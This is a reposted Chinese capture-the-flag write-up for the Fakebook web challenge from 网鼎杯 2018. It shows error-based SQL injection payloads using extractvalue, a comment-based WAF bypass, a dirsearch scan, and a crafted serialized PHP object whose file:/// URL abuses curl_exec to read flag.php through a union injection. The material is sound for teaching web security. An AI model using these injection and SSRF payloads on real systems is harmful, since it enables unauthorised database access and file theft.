[网鼎杯 2018]Fakebook

Posted sunix-blog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[网鼎杯 2018]Fakebook相关的知识,希望对你有一定的参考价值。

  • 打开后为常见login界面 -> 检查robots.txt泄露 -> 得到user.php.bak

注册账号后发现
/view.php?no=1
更改传参类型后出现SQL语句报错?no=1‘ ?no=abc
技术图片
暴露文件路径?no=2
技术图片


  • 利用报错注入
?no=1 and extractvalue(1,concat(‘=‘,(select database()),‘=‘))
(XPATH syntax error: ‘=fakebook=‘)
?no=1 and extractvalue(1,concat(‘=‘,(select group_concat(table_name) from information_schema.tables where table_schema=‘fakebook‘),‘=‘))
(XPATH syntax error: ‘=users=‘)
?no=1 and extractvalue(1,concat(‘=‘,(select group_concat(column_name) from information_schema.columns where table_schema=‘fakebook‘ and table_name=‘users‘),‘=‘))
(XPATH syntax error: ‘=no,username,passwd,data=‘)
?no=1 and extractvalue(1,concat(‘=‘,(),‘=‘))

利用mid()分段提取数据passwd

4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5
data O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";}

数据序列化后存储此处联想到反序列化

?no=1 and 1=2 union/**/select 1,2,3,4
这里有个简单的WAF注释绕过就行
技术图片
验证猜想

  • 结合分析user.php.bak
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

      //初始化一个新的cURL会话并获取一个网页
    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
    }

}

存在curl_exec()函数

https://www.runoob.com/php/func-curl_setopt.html

且设置了CURLOPT_RETURNTRANSFER,TRUE 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
支持http、https、ftp、gopher、telnet、dict、file和ldap协议
差一个flag路径

  • 文件扫描(使用dirsearch)
    ./dirsearch.py -u http://2d509c4d-511f-4de4-8b6d-05cc3c1cca0f.node3.buuoj.cn/ -e php

技术图片
得到文件flag.php

  • 构造序列化
<?php  
class UserInfo{ 
    public $name = 1;
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}  
$test = new UserInfo();
echo serialize($test);
?> 

O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

  • payload
    ?no=-1 union/**/select 1,2,3,‘O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}‘

技术图片

base64解码一下 v_v

乱七八糟看了很多帖子

























以上是关于[网鼎杯 2018]Fakebook的主要内容,如果未能解决你的问题,请参考以下文章

[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

BUU-WEB-[网鼎杯 2018]Fakebook

buuctf-[网鼎杯 2018]Fakebook 1

BUUCTF[网鼎杯2018]Fakebook

网鼎杯 fakebook